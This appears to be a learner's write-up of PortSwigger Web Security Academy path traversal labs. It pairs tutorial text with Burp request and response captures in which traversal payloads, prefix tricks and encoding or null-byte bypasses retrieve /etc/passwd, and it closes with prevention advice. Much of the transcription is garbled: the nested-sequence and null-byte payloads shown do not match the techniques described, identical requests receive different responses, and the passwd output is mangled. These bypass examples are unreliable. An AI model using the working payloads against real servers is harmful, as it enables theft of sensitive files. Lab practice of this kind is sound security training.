

## What is path traversal?

Path traversal is also known as directory traversal. These vulnerabilities enable an attacker to read arbitrary files on the server that is running an application. This might include:

- Application code and data.
- Credentials for back-end systems.
- Sensitive operating system files.

In some cases, an attacker might be able to write to arbitrary files on the server, allowing them to modify application data or behavior, and ultimately take full control of the server.

## ➤ Normal Traversal sequences

### Reading arbitrary files via path traversal

Imagine a shopping application that displays images of items for sale. This might load an image using the following HTML:

```

```

The `loadImage` URL takes a `filename` parameter and returns the contents of the specified file. The image files are stored on disk in the location `/var/www/images/`. To return an image, the application appends the requested filename to this base directory and uses a filesystem API to read the contents of the file. In other words, the application reads from the following file path:

```
/var/www/images/218.png
```

This application implements no defenses against path traversal attacks. As a result, an attacker can request the following URL to retrieve the `/etc/passwd` file from the server's filesystem:

```
https://insecure-website.com/loadImage?filename=../../../../etc/passwd
```

This causes the application to read from the following file path:

```
/var/www/images/../../../../etc/passwd
```

The sequence `../` is valid within a file path, and means to step up one level in the directory structure. The three consecutive `../` sequences step up from `/var/www/images/` to the filesystem root, and so the file that is actually read is:

```
/etc/passwd
```

On Unix-based operating systems, this is a standard file containing details of the users that are registered on the server, but an attacker could retrieve other arbitrary files using the same technique.

On Windows, both `../` and `..\` are valid directory traversal sequences. The following is an example of an equivalent attack against a Windows-based server:

```
https://insecure-website.com/loadImage?filename=../../../../windows/win.ini
```

### Lab: File path traversal, simple case

APPRENTICE



✓ Solved

This lab contains a path traversal vulnerability in the display of product images.

To solve the lab, retrieve the contents of the `/etc/passwd` file.



ACCESS THE LAB



Request		Response	
Pretty	Raw Hex	Pretty	Raw Hex Render
1 GET /image?filename=31.jpg HTTP/2		1 HTTP/2 200 OK	
2 Host: 0a0300ca0465338c8187b66800d8000d.web-security-academy.net		2 Content-Type: image/jpeg	
3 Cookie: session=NChfHEEXkaAR2xTxcLxWdIVTbyotyP1		3 X-Frame-Options: SAMEORIGIN	
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0		4 Content-Length: 127571	
5 Accept: image/avif, image/webp, image/png, image/svg+xml, image/*;q=0.8,*/*;q=0.5		5	
6 Accept-Language: en-US,en;q=0.5		6 y0yavExiENMqDIDK~(1f 20011f	
7 Accept-Encoding: gzip, deflate, br		7 UJ	
8 Referer: https://0a0300ca0465338c8187b66800d8000d.web-security-academy.net/		8 MDAdobe Photoshop CC 2019 (Macintosh) 2019:03:04 11:45:5800221 yy 4 0zrID	
9 Sec-Fetch-Dest: image		9 OHMyAdobe_CMyAdobeDYU	
10 Sec-Fetch-Mode: no-cors		10 yAk "yT	
11 Sec-Fetch-Site: same-origin		11 yA?	
12 Priority: u=5		12	
13 Te: trailers		13 3!1AQa"qDQ,±B#fRAb34tQNCVOS6A8c5e*Q4QDTDEA&c60Ae0"QÁ0uá0F"QDQ QÁ0uá0yÁ0Á0VtVCOQ;S#0e0	
14		14	
15		15	

Request		Response	
Pretty	Raw Hex	Pretty	Raw Hex Render
1 GET /image?filename=../../../../etc/passwd HTTP/2		1 HTTP/2 400 Bad Request	
2 Host: 0a0300ca0465338c8187b66800d8000d.web-security-academy.net		2 Content-Type: application/json; charset=utf-8	
3 Cookie: session=NChfHEEXkaAR2xTxcLxWdIVTbyotyP1		3 X-Frame-Options: SAMEORIGIN	
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0		4 Content-Length: 14	
5 Accept: image/avif, image/webp, image/png, image/svg+xml, image/*;q=0.8,*/*;q=0.5		5	
6 Accept-Language: en-US,en;q=0.5		6 "No such file"	
7 Accept-Encoding: gzip, deflate, br			
8 Referer: https://0a0300ca0465338c8187b66800d8000d.web-security-academy.net/			
9 Sec-Fetch-Dest: image			
10 Sec-Fetch-Mode: no-cors			
11 Sec-Fetch-Site: same-origin			
12 Priority: u=5			
13 Te: trailers			
14			
15			

Request		Response	
Pretty	Raw Hex	Pretty	Raw Hex Render
1 GET /image?filename=/etc/passwd HTTP/2		1 HTTP/2 200 OK	
2 Host: 0a0300ca0465338c8187b66800d8000d.web-security-academy.net		2 Content-Type: image/jpeg	
3 Cookie: session=NChfHEEXkaAR2xTxcLxWdIVTbyotyP1		3 X-Frame-Options: SAMEORIGIN	
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0		4 Content-Length: 2316	
5 Accept: image/avif, image/webp, image/png, image/svg+xml, image/*;q=0.8,*/*;q=0.5		5	
6 Accept-Language: en-US,en;q=0.5		6 root:x:0:0:root:/root:/bin/bash	
7 Accept-Encoding: gzip, deflate, br		7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin	
8 Referer: https://0a0300ca0465338c8187b66800d8000d.web-security-academy.net/		8 bin:x:2:2:bin:/bin:/usr/sbin/nologin	
9 Sec-Fetch-Dest: image		9 sys:x:3:3:sys:/dev:/usr/sbin/nologin	
10 Sec-Fetch-Mode: no-cors		10 sync:x:4:65534:sync:/bin:/bin/sync	
11 Sec-Fetch-Site: same-origin		11 games:x:5:60:games:/usr/games:/usr/sbin/nologin	
12 Priority: u=5		12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin	
13 Te: trailers		13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin	
14		14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin	
15		15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin	
		16 uucp:x:10:10:uucp:/var/spool/uucpi:/usr/sbin/nologin	
		17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin	
		18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin	
		19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin	
		20 list:x:38:38:Mailng List Manager:/var/list:/usr/sbin/nologin	
		21 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin	
		22 gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin	
		23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin	
		24 _apt:x:100:65534:/nonexistent:/usr/sbin/nologin	
		25 peter:x:12001:12001:/home/peter:/bin/bash	
		26 carlos:x:12002:12002:/home/carlos:/bin/bash	
		27 user:x:12000:12000:/home/user:/bin/bash	
		28 elmer:x:12099:12099:/home/elmer:/bin/bash	
		29 academy:x:10000:10000:/academy:/bin/bash	
		30 messagebus:x:101:101:/nonexistent:/usr/sbin/nologin	
		31 dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin	
		32 systemd-timesync:x:103:103:systemd Time	

## ➤ Nested Traversal Sequences

### Common obstacles to exploiting path traversal vulnerabilities - Continued

You might be able to use nested traversal sequences, such as `../../../../` or `../../../../`. These revert to simple traversal sequences when the inner sequence is stripped.

# Lab: File path traversal, traversal sequences stripped non-recursively

PRACTITIONER

LAB

Solved

This lab contains a path traversal vulnerability in the display of product images.

The application strips path traversal sequences from the user-supplied filename before using it.

To solve the lab, retrieve the contents of the `/etc/passwd` file.



ACCESS THE LAB

Request

Pretty Raw Hex

1 GET /image?filename=/etc/passwd HTTP/2  
2 Host: Daf60f004a91d7d83743c66005c00d8.web-security-academy.net  
3 Cookie: session=FawghfMY3On3l6qAqz2tFuOgRV7mJG  
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0  
5 Accept: image/avif, image/webp, image/png, image/svg+xml, image/\*;q=0.8,\*/\*;q=0.5  
6 Accept-Language: en-US,en;q=0.5  
7 Accept-Encoding: gzip, deflate, br  
8 Referer: https://Daf60f004a91d7d83743c66005c00d8.web-security-academy.net/  
9 Sec-Fetch-Dest: image  
10 Sec-Fetch-Mode: no-cors  
11 Sec-Fetch-Site: same-origin  
12 Priority: u=5  
13 Te: trailers

Response

Pretty Raw Hex Render

1 HTTP/2 400 Bad Request  
2 Content-Type: application/json; charset=utf-8  
3 X-Frame-Options: SAMEORIGIN  
4 Content-Length: 14  
5  
6 "No such file"

Request

Pretty Raw Hex

1 GET /image?filename=../../../../etc/passwd HTTP/2  
2 Host: Daf60f004a91d7d83743c66005c00d8.web-security-academy.net  
3 Cookie: session=FawghfMY3On3l6qAqz2tFuOgRV7mJG  
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0  
5 Accept: image/avif, image/webp, image/png, image/svg+xml, image/\*;q=0.8,\*/\*;q=0.5  
6 Accept-Language: en-US,en;q=0.5  
7 Accept-Encoding: gzip, deflate, br  
8 Referer: https://Daf60f004a91d7d83743c66005c00d8.web-security-academy.net/  
9 Sec-Fetch-Dest: image  
10 Sec-Fetch-Mode: no-cors  
11 Sec-Fetch-Site: same-origin  
12 Priority: u=5  
13 Te: trailers

Response

Pretty Raw Hex Render

1 HTTP/2 400 Bad Request  
2 Content-Type: application/json; charset=utf-8  
3 X-Frame-Options: SAMEORIGIN  
4 Content-Length: 14  
5  
6 "No such file"

Request

Pretty Raw Hex

1 GET /image?filename=../../../../etc/passwd HTTP/2  
2 Host: Daf60f004a91d7d83743c66005c00d8.web-security-academy.net  
3 Cookie: session=FawghfMY3On3l6qAqz2tFuOgRV7mJG  
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0  
5 Accept: image/avif, image/webp, image/png, image/svg+xml, image/\*;q=0.8,\*/\*;q=0.5  
6 Accept-Language: en-US,en;q=0.5  
7 Accept-Encoding: gzip, deflate, br  
8 Referer: https://Daf60f004a91d7d83743c66005c00d8.web-security-academy.net/  
9 Sec-Fetch-Dest: image  
10 Sec-Fetch-Mode: no-cors  
11 Sec-Fetch-Site: same-origin  
12 Priority: u=5  
13 Te: trailers

Response

Pretty Raw Hex Render

1 HTTP/2 200 OK  
2 Content-Type: image/jpeg  
3 X-Frame-Options: SAMEORIGIN  
4 Content-Length: 2316  
5  
6 root:x:0:0:root:/root:/bin/bash  
7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
8 bin:x:2:2:bin:/bin:/usr/sbin/nologin  
9 sys:x:3:3:sys:/dev:/usr/sbin/nologin  
10 sync:x:4:65534:sync:/bin:/bin/sync  
11 games:x:5:60:games:/usr/games:/usr/sbin/nologin  
12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
20 list:x:38:38:Mail Manager:/var/list:/usr/sbin/nologin  
21 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin  
22 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin  
23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  
24 \_apt:x:100:65534:/nonexistent:/usr/sbin/nologin  
25 peter:x:12001:12001:/home/peter:/bin/bash  
26 carlos:x:12002:12002:/home/carlos:/bin/bash  
27 user:x:12000:12000:/home/user:/bin/bash  
28 elmer:x:12099:12099:/home/elmer:/bin/bash  
29 academy:x:10000:10000:/academy:/bin/bash  
30 messagebus:x:101:101:/nonexistent:/usr/sbin/nologin  
31 dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin  
32 systemd-timesync:x:103:103:systemd Time Synchronization:/var/lib/ntp:/usr/sbin/nologin

## ➤ URL encode or Double URL encode

### Common obstacles to exploiting path traversal vulnerabilities - Continued

In some contexts, such as in a URL path or the `filename` parameter of a `multipart/form-data` request, web servers may strip any directory traversal sequences before passing your input to the application. You can sometimes bypass this kind of sanitization by URL encoding, or even double URL encoding, the `../` characters. This results in `%2e%2e%2f` and `%252e%252e%252f` respectively. Various non-standard encodings, such as `..%c0%af` or `..%ef%bc%8f`, may also work.

For Burp Suite Professional users, Burp Intruder provides the predefined payload list **Fuzzing - path traversal**. This contains some encoded path traversal sequences that you can try.

### Lab: File path traversal, traversal sequences stripped with superfluous URL-decode

PRACTITIONER  
LAB Solved

This lab contains a path traversal vulnerability in the display of product images.

The application blocks input containing path traversal sequences. It then performs a URL-decode of the input before using it.

To solve the lab, retrieve the contents of the `/etc/passwd` file.

ACCESS THE LAB

The screenshot displays the Burp Suite interface with three tabs: Request, Response, and Inspector.

**Request Tab:** Shows a GET request to `/image?filename=../../../../etc/passwd HTTP/2`. The request includes headers for Host, Cookie, User-Agent, Accept, Accept-Language, Accept-Encoding, Referer, Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site, Priority, and Te.

**Response Tab:** Shows a 200 OK response with Content-Type: image/jpeg. The response body is a large base64-encoded string representing the contents of the `/etc/passwd` file.

**Inspector Tab:** Shows the decoded request path: `../../../../etc/passwd`. The decoded text is displayed in the Selected text field.

## ➤ Expecting base folder

## Common obstacles to exploiting path traversal vulnerabilities - Continued

An application may require the user-supplied filename to start with the expected base folder, such as `/var/www/images`. In this case, it might be possible to include the required base folder followed by suitable traversal sequences. For example: `filename=/var/www/images/../../../../etc/passwd`.


## Lab: File path traversal, validation of start of path

 LAB
  Solved

This lab contains a path traversal vulnerability in the display of product images.

The application transmits the full file path via a request parameter, and validates that the supplied path starts with the expected folder.

To solve the lab, retrieve the contents of the `/etc/passwd` file.

 ACCESS THE LAB

[illegible]

Request

Pretty

Raw

Hex

```
1 GET /image?filename=../../../../etc/passwd HTTP/2
2 Host: 0a6003601073a509075af68007200ee.web-security-academy.net
3 Cookie: session=175nufcKp8fZgkL85jBS0u5vK6GokydY
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101
  Firefox/138.0
5 Accept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate, br
8 Referer: https://0a6003601073a509075af68007200ee.web-security-academy.net/
9 Sec-Fetch-Dest: image
10 Sec-Fetch-Mode: no-cors
11 Sec-Fetch-Site: same-origin
12 Priority: u=5
13 Te: trailers
14
15
```

Response

Pretty

Raw

Hex

Render

```
1 HTTP/2 400 Bad Request
2 Content-Type: application/json; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
  Content-Length: 30
4
5 "Missing parameter 'filename'"
6
```



Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre> 1 GET /image?filename=/var/www/images/../../../../etc/passwd HTTP/2 2 Host: 0af6003601873a509075af68007200ee.web-security-academy.net 3 Cookie: session=1VbnfvcKpFP2aLd89JHhUvovNoKypY 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101   Firefox/138.0 5 Accept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5 6 Accept-Language: en-US,en;q=0.5 7 Accept-Encoding: gzip, deflate, br 8 Referer: https://0af6003601873a509075af68007200ee.web-security-academy.net/ 9 Sec-Fetch-Dest: image 10 Sec-Fetch-Mode: no-cors 11 Sec-Fetch-Site: same-origin 12 Priority: u=5 13 Te: trailers 14 15 </pre>				<pre> 1 HTTP/2 200 OK 2 Content-Type: image/jpeg 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 2316 5 6 root:x:0:0:root:/root:/bin/bash 7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 8 bin:x:2:2:bin:/bin:/usr/sbin/nologin 9 sys:x:3:3:sys:/dev:/usr/sbin/nologin 10 sync:x:4:65534:sync:/bin:/bin/sync 11 games:x:5:60:games:/usr/games:/usr/sbin/nologin 12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 20 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 21 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 22 gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin 23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 24 _apt:x:100:65534:/nonexistent:/usr/sbin/nologin 25 peter:x:12001:12001:/home/peter:/bin/bash 26 carlow:x:12002:12002:/home/carlow:/bin/bash 27 user:x:12000:12000:/home/user:/bin/bash 28 elmer:x:12099:12099:/home/elmer:/bin/bash 29 academy:x:10000:10000:/academy:/bin/bash 30 messagebus:x:101:101:/nonexistent:/usr/sbin/nologin 31 dnsmasq:x:102:65534:dnsmasq,,:/var/lib/misc:/usr/sbin/nologin 32 systemd-timesync:x:103:103:systemd Time </pre>			

## ➤ Expecting the file extension — Usage of NULL BYTE

### Common obstacles to exploiting path traversal vulnerabilities - Continued

An application may require the user-supplied filename to end with an expected file extension, such as `.png`. In this case, it might be possible to use a null byte to effectively terminate the file path before the required extension. For example: `filename=../../../../etc/passwd%00.png`.

## Lab: File path traversal, validation of file extension with null byte bypass

PRACTITIONER



LAB

✓ Solved

This lab contains a path traversal vulnerability in the display of product images.

The application validates that the supplied filename ends with the expected file extension.

To solve the lab, retrieve the contents of the `/etc/passwd` file.



ACCESS THE LAB

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre> 1 GET /image?filename=../../../../etc/passwd HTTP/2 2 Host: 0abc000e040796528075712f00bd003d.web-security-academy.net 3 Cookie: session=GaTf5DmefvssyXhBhMVUVvVi0PWE2d 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101   Firefox/138.0 5 Accept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5 6 Accept-Language: en-US,en;q=0.5 7 Accept-Encoding: gzip, deflate, br 8 Referer: https://0abc000e040796528075712f00bd003d.web-security-academy.net/ 9 Sec-Fetch-Dest: image 10 Sec-Fetch-Mode: no-cors 11 Sec-Fetch-Site: same-origin 12 Priority: u=5 13 Te: trailers 14 15 </pre>				<pre> 1 HTTP/2 400 Bad Request 2 Content-Type: application/json; charset=utf-8 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 14 5 6 "No such file" </pre>			

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre> 1 GET /image?filename=../../../../etc/passwd:100.png HTTP/2 2 Host: 0abc000e040796528075712f00bd003d.web-security-academy.net 3 Cookie: session=6a7f5f0mf0oq9x8HbMUVtVvIdP9W2d 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101   Firefox/138.0 5 Accept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5 6 Accept-Language: en-US,en;q=0.5 7 Accept-Encoding: gzip, deflate, br 8 Referer: https://0abc000e040796528075712f00bd003d.web-security-academy.net/ 9 Sec-Fetch-Dest: image 10 Sec-Fetch-Mode: no-cors 11 Sec-Fetch-Site: same-origin 12 Priority: u=5 13 Te: trailers 14 15 </pre>				<pre> 1 HTTP/2 200 OK 2 Content-Type: image/png 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 2316 5 6 root:x0:0:root:/root:/bin/bash 7 daemon:x1:1:daemon:/usr/sbin:/usr/sbin/nologin 8 bin:x2:2:bin:/bin:/usr/sbin/nologin 9 sys:x3:3:sys:/dev:/usr/sbin/nologin 10 sync:x4:65534:sync:/bin:/bin/sync 11 games:x5:60:games:/usr/games:/usr/sbin/nologin 12 man:x6:12:man:/var/cache/man:/usr/sbin/nologin 13 lp:x7:7:lp:/var/spool/lpd:/usr/sbin/nologin 14 mail:x8:8:mail:/var/mail:/usr/sbin/nologin 15 news:x9:9:news:/var/spool/news:/usr/sbin/nologin 16 uucp:x10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 17 proxy:x13:13:proxy:/bin:/usr/sbin/nologin 18 www-data:x33:33:www-data:/var/www:/usr/sbin/nologin 19 backup:x34:34:backup:/var/backups:/usr/sbin/nologin 20 list:x38:38:Mail Manager:/var/list:/usr/sbin/nologin 21 irc:x39:39:ircd:/var/run/ircd:/usr/sbin/nologin 22 gnats:x41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 23 nobody:x65534:65534:nobody:/nonexistent:/usr/sbin/nologin 24 _apt:x100:65534:/nonexistent:/usr/sbin/nologin 25 peter:x12001:12001:/home/peter:/bin/bash 26 carlos:x12002:12002:/home/carlos:/bin/bash 27 user:x12000:12000:/home/user:/bin/bash 28 elmer:x12099:12099:/home/elmer:/bin/bash 29 academy:x10000:10000:/academy:/bin/bash 30 messagebus:x101:101:/nonexistent:/usr/sbin/nologin 31 dnsmasq:x102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin 32 systemd-timesync:x103:103:systemd Time </pre>			

## How to prevent a path traversal attack

The most effective way to prevent path traversal vulnerabilities is to avoid passing user-supplied input to filesystem APIs altogether. Many application functions that do this can be rewritten to deliver the same behavior in a safer way.

If you can't avoid passing user-supplied input to filesystem APIs, we recommend using two layers of defense to prevent attacks:

- Validate the user input before processing it. Ideally, compare the user input with a whitelist of permitted values. If that isn't possible, verify that the input contains only permitted content, such as alphanumeric characters only.
- After validating the supplied input, append the input to the base directory and use a platform filesystem API to canonicalize the path. Verify that the canonicalized path starts with the expected base directory.

Below is an example of some simple Java code to validate the canonical path of a file based on user input:

```
File file = new File(BASE_DIRECTORY, userInput);
if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {
    // process file
}
```



**Well done! You've completed Path traversal.**

